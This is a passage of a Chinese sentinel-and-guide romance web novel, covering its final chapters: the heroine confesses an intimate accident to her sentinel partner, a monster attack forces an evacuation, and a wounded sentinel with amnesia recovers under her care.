这什么补救措施啊,她哎了一声,拍响男人手臂,皱眉扶额,分明是不满意,他不明白,是不想承认吗? 夏广礼退步了,“那就先瞒着他。” 女人摇头晃脑,嘴里念念有词,好一阵才停下,认命道:“我自己说,”转头看来,一脸歉意,“你做好准备。” “万一他打你,我是不会护着你的。” 这是准备承认了?他倒不怕一个A级哨兵,能否近他的身都两说,反而迫不及待。 情敌怎样都不重要,重点是她的打算,他想问又不敢,要是把他踹走就更好了。 一阵心理建设,她走向门口,下压解锁,刚露了个缝,室外光景呈现,砰的一声关门。 她伸手捂脸道:“好多人啊……” “救救我。” 门口应时传来人声,问她是否需要帮助,当然是否决。她躺回床上,给自己鼓足了气,才再次抬头。 “我先走,你待会儿,怎么来的怎么回去,别让人发现了。” 夏广礼站在床头,挡住光线,他若有察觉,侧头后视,阳光从帘顶刺入,有人在窥伺。 “很抱歉,亲爱的,我们已经被发现了。” 实际上,没有不被发现的可能,哨兵只是在感情上单纯,侦察能力不弱,更何况,彼此的信息素交缠在一起。 只要一踏出这道门,两人的亲密行为就昭然若揭,但只是她不承认,没人会点破,地下情人就是地下情人。 “所以,你还打算和他说吗?” “说!” 如果要长久相伴,就不愿隐瞒和欺骗,结果好坏都认了。 这个信息像一颗在耳边爆炸的炸弹,她已被轰得头冒星光,咬牙切齿道:“我犯下的错,我承担。”接着趴进枕头里,一顿呜咽。 清白一世,如今也沦为渣女了,呜呜—— 第74章 懊悔过后,还得面对,门扉开启,她推着夏广礼的腰向前,往门外走去。 毒气般的柔光扑面,她忍不住抬手挡,但更省力的方式,是站在阴影处。 是的,这里有很多人。 临时床铺被挪到墙边,棉被叠成豆腐块,方方正正地放在床头。哨兵们坐着,擦拭武器。 公主终于出来了,但视线回避,轻声寒暄后,快步离开此地,像屁股着了火,走得匆忙。 为什么?他们将目光移向夏广礼,男人嘴角上扬,心满意足,信息素夹杂着,混在一起。 事实昭然若揭,嫉妒、羡慕、懊悔,情绪复杂,有人脸色铁青,但毕竟,这是预料到的,早晚会发生的事。 几人沟通,了解情况后,就过去了。 路过庭院,角落处雨棚下的围栏,一根线拉着禁止靠近,是她的精神体,另两只精神体趴坐在它附近,尾巴摇甩。 银杏像忠诚的护卫,栽植在一旁。因为工作,小蘑菇无法做动作回应,但另两只狮、狼并没做出格动作。 无鬃狮也许有点,但刚展露倾向,就被被另外两只精神体警告,打压,因此消停下来。它张嘴打哈欠,掩饰自己的食欲。 当她的气息出现,两兽意动,主人才同步得了消息。 她走进厨房,靠在门边,男人听见声音,转头见她,起身走来,她下意识低头,不敢直视。 “抱歉,我起晚了,随便吃点就行。” 好似没发现般,卡尔没问任何事,只是向她介绍早餐品类,已经热上了。 她无意间瞥见桌边放置的一盒零食,揭开包装袋,里面是一袋压缩饼干。 黄褐色、大长板,压得很紧,口感很差,掰半块能饱一整天。她为什么这么清楚,因为她曾经吃过,曾经。 刚被救时,她不敢说话,因为他下手凶残、穿着神秘,像嗜血的恐怖分子,她跟个鹌鹑似的,乖得不行,生怕被解决掉。 他的话也很少,简短、防备,后来才知道是因为受伤了,转折在分享食物。 他先吃再递过来,她就模仿他的吃法,难吃也嚼进肚子,小半块被他夺走了,水喝了一点。 她以为要控制她,所以不喂饱,结果证明她错了,半夜胀着肚子,一直放屁。她试图跨过男人,去外面放,被拦住了,不可以出去。 两人就这么闻了一晚上的臭屁。 从那儿后,她明白了,不让她吃也许是为她好。通过观察、问询等手段,探了她的底细,才把她带回塔内。 在旅程中,两人的关系也逐渐缓和、交好。 所以一看到这个饼干,她就觉得嘴干,碎屑填满口腔。但这是应急食物,怎么有人吃这个?她有些奇怪,吐槽道:“没必要吃这个吧。” 更合口、好消化、有营养的餐食就在那儿,她可不想再去折磨自己的胃。 她注视已久,久到早餐热好,端上桌,碗筷摆好,听到人喊,才回过神,坐好。 眼见他要走,一句话都不问,她急了,握着筷子的手攥紧,张嘴,只喊出名字。 尽管如此,男人还是回头了,向她确认,她舔湿嘴唇,认真道:“可以等会儿再走吗?我有件事想和你说。” 男人听罢,点头回应,来到桌子对面坐下,静静注视她进食。 因为心理压力,她吃得如坐针毡,不敢抬头看他的眼睛,澄澈的倒影里,全是她的心虚,吃得呛鼻,咳嗽起来。 卡尔递过来纸巾,安慰她慢些吃,不用急,什么事都有办法解决,等她准备好再说。 她擦拭鼻子,心想,自己倒是准备好了,就是不知道他有没有准备好。 吃完饭,将碗筷丢进洗碗机,又坐回桌前,手放在桌上,手指反复摩擦桌角,脚趾在鞋里蜷缩。 “抱歉,我……我做了一件错事。” “对不起你的事。” 男人的表情很平静,波澜不惊道:“你说,我听。” 话在嘴边,却说不出口,她手指握拳,指甲陷进肉里,昨晚记不清,应该是他们做过的事,只是换了人。 男人起身,她往墙边缩,他坐在左侧,她拘谨地往右边靠,卡尔再度贴近,将手放在她的掌背,交叉相握。 卡尔:“无论发生什么,我们都一起面对。” 她抬眼看去,被他的平静感染,缓慢的脉搏通过相连的手腕,两人心率共振。 像某种镇定剂,她下定决心,面朝他,盯着眼睛说:“昨晚,我突发结合热。” 立刻感到指间施压,夹紧了指骨,但很快放松,另一只手也覆上来,两侧并握,男人点头,示意她继续。 “我想叫你,但是你不在,然后夏队帮我解决了。”她极度羞耻地说完这句话,说罢低下头,不敢想对方会如何看待自己。 这种等待评判的紧张,就和初中,上课玩手机被老师收缴,下课再去找他要时的不安。 觉得自己该骂,但又不希望被骂,还想着他把手机还给自己,承诺下次肯定不玩了。 她就这样窝囊地屡教不改。但卡尔不是她的班主任,她也不再是未成年。 沉默里,愧疚感冲破心理防线,脑子里响起许多斥责声,她没忍住红了眼,低声啜泣。 “珊珊,没事的,别哭。” 一个温暖、小心翼翼的拥抱,正是这句包容的话,让她彻底泪崩,手扒紧后背,头埋进胸前,她忏悔自己。 “我们可能发生了亲密——” “没事,亲爱的,这不是你的错。” 卡尔没忍住,打断这话,作为她的哨兵,他曾预想到这一天的到来,但还是,听不了,她和别人的亲密行为。 她没有错,他确信 这一点,他不会指责她,不管发生什么。 “每个向导都会经历这种时刻,怪我没能陪在你身边,那时你很脆弱,需要人照顾。” “是吗,”她抬头问,“很多人都这样?” “当然,我不会骗你。你的精神力使用过度了,为了他们,”男人想起表格上增长的数据,低声道:“为了我们。” 她是个很好哄的人,听他这么说,好像没有哭下去的理由,但趴在胸前的感觉很好,弹性十足,她不想起来,头蹭来蹭去。 卡尔:“他不会影响我们的关系,对吗?” 男人的手掌抚向后脑勺,整个人被裹在清香、温暖的身躯中,她想起两人的约定,毫不犹豫地点头道:“对,那只是意外。” 一场意外,哈? 夏广礼刚处理完队内的事赶来,希望与她一同面对,或者说,与他对峙,结果听到了什么? 又气又想笑,像用完的纸巾把他丢进垃圾堆?不,他相信她不会这样做,也不会这样想,一定是言不由衷。 尽管如此,开导自己,他仍感到内心焦灼。但现在,他不该给她惹麻烦,男人抬头,看见来人,点头示意,至少别像这个蠢货,惹她厌弃。 男人的背影远去。 阿瑞斯皱眉,先是意味不明的眼神,那可不友善,他不在意,但他的信息素是怎么回事? “嘿,等等。” 对方径直离开,不作回应,反而是厨房的门应声而开,金发男附在她耳边私语,思念许久的人,抬头看到他们,很惊讶似的,打完招呼就要走开。 但阿瑞斯不想放她走,右移一步,她低着头,再往前走就要撞进怀里了,但对方显然睁着眼,停下脚步。 徐珊珊:“找我有事吗?” 另一边肩膀被轻拍,男人不自在地垂眸,不是想拦她,就是问问,“你想碰吗?” 她一下想起来了,原来是逗猫摸狗的事,的确,她许下过约定,但转头看向卡尔,对方微笑点头。 他不干涉她的行为,但是,徐珊珊停顿,思考,接着答复:“算了吧,改天再说。” 改天是哪天? 可他们要离开了,刚得了通知,要提前收假,阿瑞斯想再次邀请,但她抬脚离开,没问出口。 卡尔让路,“没吃饱的话,里面还有。” 曼努埃尔:“劳烦费心,我们自己处理。” 最后,只剩两人立在那儿,和脑中翻滚不满的精神体,前后走进厨房。 阿瑞斯嫉妒得抓狂,嘴里不禁爆出脏话,一个又一个,但都不是他,他隔得远,什么事都后知后觉。 见曼努埃尔还在慢条斯理地用餐,难以置信,阿瑞斯抓起肉包,抛给精神体,真诚问:“你不气?” 曼努埃尔:“我不贪心。” …… 下午,她和莎莎通视频,同他再次确认地址,他们那儿没休假,在忙碌中接的电话,很快挂断了。 傍晚,运输车满载离开,果实还未完全成熟,机械化后,各流程都变得更省力。 她在晚饭时,知道他们要提前走了,突然不舍。 蹲守在田埂边,看小蘑菇被染得黝黑,她叹了一口气,手抓起一捧土,它的菌系已经扎根到很远的地方。 地上多了个影子,她转头看,绿眼发出幽光,是曼努埃尔,来接她的。两人慢步往回走。 “你收拾好了?” 男人点头,他没带多少行李,见她的上下前后瞟,狐疑地审视自己,是否哪儿不对,沾了污渍或别的。 “我觉得你变了。” 眉毛上挑,曼努埃尔有些摸不着头脑,他哪儿变了,向对方请教,女人竖大拇指,笑着说:“变帅了。” “你在队伍里,是担任什么角色呢?” “突击兵。” 两人闲聊,走到台阶前,她没再迈步,她转身,男人猜她心乱,也跟从。 曼努埃尔内敛,遇事淡定,她则容易内耗,想知道他怎么处理焦虑。 至于为什么问他,而不选其他人,可能是信赖,她很难说,也许是单纯想跟他说话。 曼努埃尔:“你有什么烦心事吗?” “有一点。” 才几个月,往事逐渐褪色,不同于刚来,一无所知,现在她有了朋友,产生归属感。 “不想你们离开我,是不是很自私?”哪怕她没办法给每人一个交待,在战争结束后。 “为什么不想我们离开?” 徐珊珊:“和你们在一块,开心。” “我的回答是——我愿意。” 他温柔缱绻的声音让她胆颤,得到肯定的回应,反而不敢说话,犹豫道:“我不是那个意思,我指的是——朋友。” “就偶尔聊天……” 好像越描越黑,天呐,她盖住一侧眼睛,但却听到身旁人的鼓励,再次肯定道:“任何形式都可以。” 曼努埃尔:“他们也会同意,只要你愿意。”哨兵们正是为此而来。 话是这么说,但她仍不明白,“你们不会觉得不公平,或不甘心吗?” “当然,有人会这样想。”从不缺贪得无厌的人,但不重要,他们总会妥协,滑落到无可退步的底线,只求她别完全丢掉自己。 哨兵总是这样。 第75章 “我也愿意。” 黑点似的毛茸尾巴尖,弯曲着擦腿划过,胯部被挤,感受到躯体转动,她往旁边让,低头一看是只狮子。 他的主人随后而至,静悄悄跟随,不知听了多久,如今才露面发言。 她当没听见,蹲下摸发白下巴和毛发旺盛的颈侧,将竖起的尾巴抓进手心揉搓,像一根鞭子。 逃避并不好使,腘窝一重,身体悬空,人往后倾,以蹲姿被举起,腰被环住,调转方向,揽在身前,两人面面相觑。 阿瑞斯:“你们——包括我吗?” “你和我在一起很开心,不希望我走?” 她倒不紧张,伸手朝外,另一人靠过来,想从手中接人,腰间的手臂骤然收紧,束得更紧了。 男人的嘴角落下,表情沉静,甚至往后退了两步,在她回答前,不会放她走。 曼努埃尔:“嘿,别逼她。” “没事。” 她将手上伸,从青筋虬结的小臂到结实鼓起的大臂,男人喉结滚动,她的目光挪向那张直白的脸,情绪一览无余的双眸。 他内心紧张,当她的视线滑落,像是在思考,又像是决定放弃,像沉进水底,逐渐窒息,一秒、两秒。 “亲口和我说。” “看着我的眼睛。”这是挽留还是挣扎。 当她抬头,只见耳侧,远处泛着暖光的室内,路过的哨兵,他察觉到视线,停步看来,像一道令人无所遁形的激光。 她将头埋进男人胸前,将身体藏起来,没否认,也没有承认。 阿瑞斯把这个动作当成回应,官方正式,她抱起来轻,像只小猫,比梦里更真实,太多细微的触感。 徐珊珊:“你能等吗?” 明亮的眸子颤动,手指沿着肌肉生长的方向刮擦,因为很轻,指甲磨着表皮,带来痒意,他的注意力不知该放哪儿。 当另一具身体靠拢,两道“高墙”彻底挡住光线,龟缩于夹缝的阴影中,鼻尖恰好顶在胸前,靠得太近,以至于转头会擦过。 被卡在那里,她羞赧地抬手,用胳膊抵在两人之间,与他保持距离。 “我需要一点时间,”她想,这不是一个小工程,尽管在这儿,这被允许。 粗大、圆钝的手指按着腰侧,虎口与衣衫相贴,指尖摩挲,仿佛能透过衣料,碰到温热的身躯,男人轻喘着说:“说实话,我几乎等不及了。” “先让我收取一点利息吧。” 一个吻,或许不止一个,她的脸被弄得湿乎乎,沾满了口水,嫌弃地将男人推开,他嘟囔着什么帮你清理就又要贴上来,捏了脸颊把人往后拉, 效果不明显。 要么就是他的脸皮非常有弹性,要么就是,他根本不在乎,她也舍不得下手,被迫上身往后仰,但这又有两个阻碍。 一是覆上后背的手掌,顶着脊椎,指尖压着肩胛骨,掌根落在松软的背部,往后仰的动作被压制,几乎是依靠着手臂的力量将她往前压。 二是身后的男人,当她太靠后,头顶就撞上了某种弹性十足的“橡胶”里,她尽量不去想那是什么。 面对阿瑞斯的热情,她有些无法招架。一连说了好几个够了,最后不得不扇了一个巴掌,终于让他冷静下来。 她好像打重了,有点后怕地伸手向曼努埃尔,还没怎么打过人。 他不放手,她不得不申明道:“你得听我的。”手摸上刚才拍过的地方,不知是否会火辣辣的疼,大拇指像涂有药膏一样,抚过脸颊,权当安抚。 她需要时间,去处理他们之间的关系,确保不让妒火,摧毁她在意的人。 顺利从阿瑞斯的怀里,转到曼努埃尔身边,侧坐在手臂上,手抓肩膀,确保自己不下落,他拿出纸巾替她擦拭。 圆润的嘴唇染上晶莹,她舔了舔下唇,看向曼努埃尔,透过他的面罩,回忆画面蹦出来,手指放上去,摸到耳后的系带,将它解下来。 “你想要一个吻吗?”她问,惊讶地发现,脸上凹凸不平的棕色瘢痕消失,新移植的皮肤与原生表皮融合。 他观察着她的表情,左手握紧,没有皱眉,好奇地覆手上来,指尖微凉,面容扩大。 男人缓慢、确定地点头,他没有动,她怀疑他没喘气,风刮得碎发落在唇间,头往前伸,一点点靠近,两人间的间隙越来越小,唇瓣相碰。 像蜻蜓点水,她很快就收回来,他没做任何举动,只是盯着她的唇,目光幽深。 阿瑞斯:“我也要。” 暧昧氛围被打破,她扭头看去,“你已经有了”他甚至得到的更多。 “这不一样,亲爱的。”他也想要她的主动,这不一样。 “下次。” 她拍拍曼努埃尔的肩膀,示意他放自己下来,还有其他人。 房间内,包裹沉闷地落向桌面,伴随着拉链、锁扣合上的声音,哨兵们在涂油擦拭枪支,清点装备。 因为昨夜的意外,卡尔决定守夜,清扫房间,往外走时,冷语灌进耳朵。 “瞧,三人幽会,他还不知道呢。”见他没反应,对方挑眉道,“真是太善解人意了。” 很明显的挑拨,卡尔不会傻乎乎的,被这种话激怒,冲上去干扰,她和别人的交往,他有身份,而他们一无所有。 他的不回应,无疑彰显了自身底气,反而火上浇油,让当事人更愤怒,嘴里叨个不停。 “够了,她来了。” 冷淡的目光瞥来,暗含警告,他当然保持安静,听着脚步声扩大。 她探进屋内,还真是一个人都不少,打包的动作暂停,有张闲置的椅子,她坐下,周遭很快围满了人。 “珊珊向导,这么晚了,你去外面做什么?”某人明知故问道。 “散步,你们东西都收拾好了吗,明早几点走?” 众人你讲一句我插一嘴,她听得七零八落,脑子里只有一个字,吵,已经习惯了,养鸟人就是如此。 左肩搭上一只手,滚烫的,他们体温偏高,外面凉风又吹,她还没看清是谁,右肩又搭上另一只,有人端来温牛奶,想留她在这儿聊天。 “卡尔在哪,你们有谁看见他了吗?” 宋晓宇:“一晚上都没见。” 不会吧,她有点不确定,还没细想,虚放在桌上的手,感受有什么东西钻进来,是一只鸟儿试图钻进虎口,应该是想要摸头。 顺手的事,当然,摸了谁,它在暗地里被别鸟的喙啄是少不了的,至少它们没上爪子,没做过火,她当没看见。 布鲁诺:“之后……你会想我吗?” “当然,”她对此毫无疑问,“你、你们是我的朋友,在这个世界。”甚至更接近家人,可以信赖和依靠。 布鲁诺:“给我一个东西留念吧。” 她环顾众人,他们都不说话了,显然也想要,没问题啊,起身拨开别人,从卧室里,取出一个小塑料袋。 将封口解开,照片便散落桌上,是各种姿势的自拍照,手指间夹着纸片,上面写了他们的名字,还有留言,十分显眼。 每个人的都不一样,这是象征性的东西,重点是,不是P的,她亲自写的。 她还绘了各人精神体的图案,等战争结束,可以找厂商定制,做成纪念品,比如杯子、T恤。 大手罩住一张小巧的相片,手掌合拢,别人便窥不见,嘴角含笑地贴身收好,却想看别人的,但显然,没人愿意分享。 “可以跟我们来一下吗?” 一道声音突兀响起,沸腾的说话声暂停,两人站在人群外,夏广礼和解逸飞两人,好像有事找,她点头跟上去。 房门合拢,两侧空间被隔开。 她再次收到两队肩章,如今明白了含义,没有犹豫地接过来,这算是正式接纳,她决定好了。 她低头看见地上的铺盖,想起卡尔,忽然不知道该说什么,他今晚会陪自己睡。 解逸飞:“关于这个,你放心。”他说会管束好队员,对他保持应有的尊重,别乱说话。她点头,算是答应。 待他离开,只剩两人独处一室,男人表情微妙,似笑非笑。 徐珊珊:“怎么不说话?” 她有点心虚,回忆白天,觉得有点过河拆桥的意思,幸好他还算好哄,给了台阶就下。 夏广礼:“看来意外要变成常态了。” “对。”她承认。 他们即将离开,她几乎能预料到,自己半夜噩梦醒来,全是死亡。不留遗憾,这是她的愿望。 话音未尽,灯光骤灭,男人靠近,握住她的手心,两人肩并肩靠在一起。 警报声四处响起,今晚是睡不了好觉了,她翻找手电,什么都看不见,只有扑飞声。 她举起手电,灯开一瞬,被男人取走摁熄,但迟了,像雨点砸落,污染物冲向玻璃。 只听见一句“小心”,她被塞在桌后,房门开启,周遭的声音变得模糊,这是他们提前收假的原因。 情况有变,她看见幽灵黯淡的电源指示灯,对方告知:这只是先锋,她得赶快撤离,怪物群正在聚集。 她要乘直升机离开,而他们要去支援其他人。 一小时后,她听着震天响的机翼转动声,但却不能快速离开,小蘑菇扎根在地里,要让连接断开,需要时间。 等她准备好时,研究所的大部分人已经撤离,但还留有一架直升机,为她停留,暂时还安全,很多人都在。 卡尔有执照,她也爬上座椅,升至半空,机身倾斜,轰然坠落,熊熊烈火燃烧,意外发生了。 面对废墟,卡尔说要留下来,让她先走,他稍后来。直到她升至高空,微光点亮,看见乌压压一片黑影,漫过山脊,才明白他的含义。 当天空电闪雷鸣,水滴落在脸上,队伍里的气氛变低沉,通讯器里传来的声音断断续续。 身体不断旋转、倾斜,他们在空中灵活转向,尾羽划过一条线,但骚扰不断,击落后又有补充,让人烦扰。 一声尖锐的鸟鸣,它们改变队形,一人靠拢来,夏广礼做了决定。 最后一次空中交接,她离开游隼的背,轻柔地落进另一蒲羽毛中,目送它调转方向。 很多人被落在了后面,她想往回望,被捂住眼睛,“请把头放低,贴紧。” “好。” 夏广礼决定停下,阻击后面的污染物,从升空到俯冲,混杂着枪炮声,一击毙命,只是未免太多了。 手肘辣痛,与此同时,播报传来,空中战场展开,令他更欣慰的,是她 已离开此地的消息,好样的。 哨兵是战争兵器,从激烈的攻击,到零星的冲锋,抗过最猛烈的一波。 他突然一阵晃神,手脚失力,风声喧嚣,血液汹涌,他在空中旋转,有一侧翅膀裂开,羽毛飘散。 坠落,坠落,坠落,像一颗流星,直砸向大地。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第76章【全文完结】 第76章 “他醒了——” 这句话从听筒里传出,抓着扶梯的手用力,橡胶带凹陷,喜悦溢于言表,她兴奋道:“我待会儿来。” 下班后,她前往医院。 楼面宽阔,行人步履匆匆,两人来到病房前,宋晓宇刚好出来,相互寒暄。 这有最好的康复医疗和护理服务,不需要人操心,但她总来探望。 夏队在清扫战场时,被发现带回,除去微弱的脉搏,像个死人。 坠落时,他用一侧羽翼滑翔,最后倾斜撞进灌木林,身体受损,头破血流。 混乱中,他拖着残躯,独自支撑,进行射击,直到收尾,身体休克陷入昏迷。 男人长睡不醒,一直到昨天,突然睁眼,神情恍惚。 看护人员转身,红色准星点向他的眉间,只听见咔哒一声,子弹上膛,被威胁着闭嘴。 完全把他视作陌生人,穿着病服逼近,一番质问,相当危险,后因为剧烈头痛,失力被制服,被拘禁。 宋晓宇给她打预防针,这样的夏队会让她感到陌生,他言行混乱、警觉、易被激怒,食指轻点太阳穴,“他脑子有病。” 了解完情况,她做足心理准备,推门而入。桌椅、锁拷,比起病房,这儿更像审讯室,他一人坐在对面。 哨兵本来就有病,他不过是病得重了点。 男人冷脸斜视,一身戾气,完全陌生的眼神,落在嘴边的话都吞了回去,好凶啊,她和门口的两人对视,舔舐嘴唇,低头往前。 反正他被捆得死死的,造成不了什么威胁,她安慰自己。 相对而坐,她将手放桌上,在他打量自己的同时,也扫视对方。 两人眼神相撞,她眨了下右眼,像调情。男人改变坐姿,裤子绷紧,有些恼怒,开口想讽,又硬生生忍下来,抿嘴低头,看她下一步打算。 还不错,比起毫无知觉,毫无反应,像一具温凉的尸体躺在那儿。 他忘了过去,连同自己的姓名一起。对面的女人是谁,诱降人员,想骗取他的信任? 哨兵们隐匿在一旁,不打扰二人,他比昨天稳定许多,比对其他人友善。 夏队不信任别人,在被制服后,假装认同,但从监控看,仍试图逃走,他们总不能一直锁着他,又不是罪犯。 “你是谁?” 她为此早有准备,直白道,“我是你的朋友,或者说,更亲密一点。” “你是我的哨兵。” 一叠相片被摊平,依次举起,向他展示,“这是你带我回来的那天,在大门被监控拍下来的。” “队伍的合照。” 她指向照片上的每个人,念出他们的名字,“你都不记得了么,服役这么多年,都是同吃同住。” 男人摇头,没印象,“可以凑近看看吗?” 当然没问题,她将照片排好,递交过去,交接时,指间轻轻接触,但很快分开。 指背擦过掌心,挠得人心痒,夏广礼抬头看去,对方恍若不知似的,托腮发呆,她走神了,这种时候在想什么? 男人收回目光,翻阅照片,包括自己刚醒来时,看见的那张小相,确实是她。 但她,据他观察,和其他人关系匪浅,意识到这点时,一股无名火升起。 而她则注视着,他攥在手心的那张照片,上面有陈旧的血迹,染红了女人的半边脸,时间对的上,所以他才抓在手里。 “我们是怎么认识的?” 来了,问答环节,他在验证信息的真实性,她当即开始讲述。 女人嘴唇开合,露出上下贝齿,舌面卷起,她说了很久,流畅、连贯,前后细节对得上,连他没问过的内容,也像倒豆子一样全掉出来。 他还没听够,悦耳女声戛然而止,她摸向喉咙,头往后仰,后方适时递来一杯温水,白雾上扬。 “卡尔。” 他有点印象,只是看两人相视而笑,不自觉皱眉,她喝进大半杯水,将双唇浸润,笑着问道:“有印象吗?” 夏广礼:“你说的对。” “那么我亲爱的向导,请问,我的生日是哪一天?” 得意洋洋的表情戛然而止,不巧,他今年的生日还没过呢。 明明不久前看过档案的,她闭上眼睛回想,纸张上数字的形状,“应该是十二月……” 她回头看,也许队员知道,但下一秒,桌面震动,男人用指节敲响桌面,咚咚两声,将她注意拉回。 “你对我还有其他了解吗?” 徐珊珊:“你不挑食,不爱吃土豆。” 男人摊手,就这些了吗,她又补充了一些,但说到底,还是了解不深。 这不能怪她嘛,工作忙,男人多,记不过来。 她的头逐渐伏低,手往后缩,像做错了事般不敢看他,偶尔对视,还是一股幽怨,像自己在为难她,看得人好气又好笑。 半真半假,但他可以感受到善意。 以为说错,反而让人防备,她决定暂停,劝他先好好休养。 “我们的事,是我不对,没放在心上。” 女人抬眸,失落道:“可能我没法很好地做你的向导,抱歉。我们的关系,再考虑吧,我也没有绑死你的意思。” “根据规定,你会在其他人陪同下,适应白塔的生活,之后会获得自由,但不要伤害别人。” 他一开始还两手交叉,叠成一个三角形,好整以暇地等她解释,想听的是她更正的做法,而不是那两个字。 当“分手”从她嘴里蹦出来,额头有根筋跳动,心莫名慌乱,四肢、躯干的脉搏同跳,耳朵嗡嗡响。 女人收好照片,径直往外走。 背影婀娜,他不停回想,实在记不清,痛得叩头,“咔哒”,房门打开,她没入男人堆里。 他们一窝蜂涌上去,像鲨鱼闻见血,她的身躯和气息都被别人裹住,再也不见。 “珊珊,别走——” 这话脱口而出,他很意外,一脸错愕,当她转身,才认清是自己说的。 众人瞠目看来,神情喜悦,盯着他,等他继续说些什么,但没有了。 男人,你的身体很诚实嘛。徐珊珊转身,歪头靠在墙边,伸出右手,“过来。” 像唤狗一样,他下意识起身,很快被锁链往后拽,勒得项圈陷进肉里,才低头看手。 她向宋晓宇示意,让他帮忙解开锁拷,等他慢慢走过来,摸着一侧脸,轻声笑道:“不是不记得嘛,嗯?” “我错了,”他滑跪的速度如此之快,“我不该忘了你。” 她收回手,却被男人攥住,两手握住,一定是什么珍贵的东西,所以脑子才下意识,告诉自己不能弄丢。 “哎,可是我记不住你的生日。” 夏广礼:“那不重要。” 她一副挪谒的表情,也笑了起来,手箍后背,被拥进怀里,他有点瘦了,应该是躺在床上的结果。 一刻的温馨,手掌贴着脊背,难以置信,她还以为……鼻子泛酸,她闷声说:“我们都很想你。” “不要害怕、抵触康复治疗,好吗?忘了过去,咱就重新再来。” 夏广礼:“不要重头来,”人声从头顶传来,声线颤抖,“我们的关系,不变。” 她应下来,给他擦眼泪,安抚好后,准备回家,他得接受检查。 “明天还来吗?” 她故作犹豫,抓她的手扣紧了,才俯身给一个吻道:“你要是表现得好一点,我就每天来。” “一言为定。” 在向导的帮助下,夏广礼以及很多,其他在战争中受到伤的哨兵,在安稳、平静的日子里逐渐恢复,回归正常生活。 数月后。 卧室里,她更衣完毕,推掉邀约: 【今天没空,我要去吃老兵烧烤】 明媚阳光撒进窗内,暖意融融,她一把抓起外套,开门离开。 门外两人等候,各给了一个拥抱,顺手接过她手上的物品,三人下楼。 两人同乘,两手相扣,放置在大腿上,她望向窗外,右颈增重,转头才发现夏广礼靠了过来,这个黏糊鬼。 夏广礼:“我们来过这儿么?” 她摇头说:“我俩没来过。” 说实话,他令同车人感到恶心,故意侧着脸,她一转头,都快亲上了,一个劲地往上靠,他那么重,会压到她的。 宋晓宇:“这边是新开发的城区。” “哦。”冷淡的回应。 他翻了个白眼,握紧拳头,告诉自己,这是副队,不能揍他,和旁人对视一眼,同样无语。 自从他醒过来,就一直霸占向导,总在她和别人相处时捣乱,冷了、饿了、头痛、怕黑…… 他们怎么不知道他怕黑?他给污染物开瓢的动作十分熟练,考核优秀,各种指令信手拈来,偏不记得过去。 又在那儿哼哼唧唧,忍无可忍,无需再忍。 宋晓宇将手放在前置位靠背上,抬头时,发丝被扯,她吃痛一声,捂头往回看。 “抱歉,”对上那双眼睛,男人松开手,悻悻道,“弄疼你了吗?” 女人摇头,回握他的手心,感觉脾气被熨平了,算了,再忍两天,他这样想。 众人抵达地点,烧烤架被支起,木炭冒烟,油脂滋响。 她坐在铺开的餐垫上,手握棉花糖,摆放水果切盘。 石子路尽头,一个白裙小女孩,踉跄跑来,四处环视,确定方向,却在两米之外,被拦住,引起多人关注。 也许是和父母走失了,解逸飞蹲下,问她的姓名、来处,准备报警。 全是高大男人,女孩瑟缩地往这儿躲,她保护欲爆发,靠过去,蹲在身边,将棉花糖递给她。 “给你,小妹妹。别怕,我们带你找警察。” 脸上还有婴儿肥,肥嘟嘟的小手,女孩拧开八音盒,音乐奏起,“谢谢姐姐。” 可爱的小朋友,也不哭闹,只是为什么一直盯着她看?精妙小巧的八音盒,水晶铸成的熊在舞台上旋转,许久不停歇。 女孩声音软糯:“姐姐,我想跟你说个悄悄话。” “行,你跟我来。” 她调低声量,将她抱去另一头,不远的地方,以他们的听力来说,属于掩耳盗铃。 先听到一阵溢美之词,她揉了揉对方的小脑袋瓜,不知道从哪学来的,“想说什么,宝宝?” “姐姐。” 她棉花糖也不吃了,低声说:“我哥哥很喜欢你,但是……”凸出的木棍指向众人,开始打小报告,“他们不让他跟你说话。” “还有这种事?” 她很惊讶,所以这位是送信使者,太勇敢了吧!要是她变回小豆丁时候,也不敢替哥寻爱的。 “哟,小姑娘,他叫什么名字?”阿瑞斯蹲下来,像一座小山,哄小孩般,“你跟我说,我帮他引荐。” 但她显然不好骗,没回话,只跟她说:“他一直说想嫁给你。”语重心长。 她这口气差点没咽下去,睁大眼睛,这可说不得,又从兜里掏出甜食,用以捂嘴。 “宝宝,你可能认错了。” “我不会认错的,他房间里有你的照片,还有屏保——” “哥!” 说曹操曹操到,北泰从林子里钻出来,浑身沾满叶子,他跟着定位来的,一个眨眼的功夫,人就跑没影了。 她准是被什么吸引走了,等他逮住了,得好好教训一顿。 但看见她,男人的脚步停下,花瓣适时地掉落,像一场雨,撒在肩上,然后才注意到别人,他们表情阴沉,他走上前去。 “向导小姐,我妹她,没麻烦你吧。” 他有些手足无措,两人许久没见,很生疏,仔细一看,妹妹的口袋里装满了别人送的糖。这个馋嘴的家伙。 “没事,她很可爱。”原来兄妹两都喜欢甜食。 两人开始尬聊,诸如天气、聚餐、假期等话题,终于将小朋友转交给家人,并将八音盒交还。 被双手抱离,女孩一边看她,又看了眼哥哥,摁下机关,音乐更换,成了婚礼进行曲,盒子翻开,露出夹层。 “姐姐,这是他买的戒指,放了好久,送给你。” 他的好妹妹,数道目光聚集,如果有能量,他已经被射穿了。她胆大,但这也太,连忙解释道:“小孩乱说的,别放心上。” 妹妹还想解释,被他捂住嘴,只发出唔唔声,本人不停弓腰道歉。 她实在是招架不住可爱小孩,伸手想捏一下她的脸颊,被扣住手腕,不知不觉身边围了一圈人。 “珊珊,有我们还不够吗?” “我不是这个意思……” 算了,北泰很识相地快速离开,女孩儿被夹在胳肢窝下面,两条小短腿扭动,不一会儿,她好像听到了打屁股的声音,希望妹没事。 几分钟后,北泰看向光脑,果不其然来信:【请不要靠近我的向导】 晚上,打开论坛,看见重磅消息,男人修改自己的状态:失恋中。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m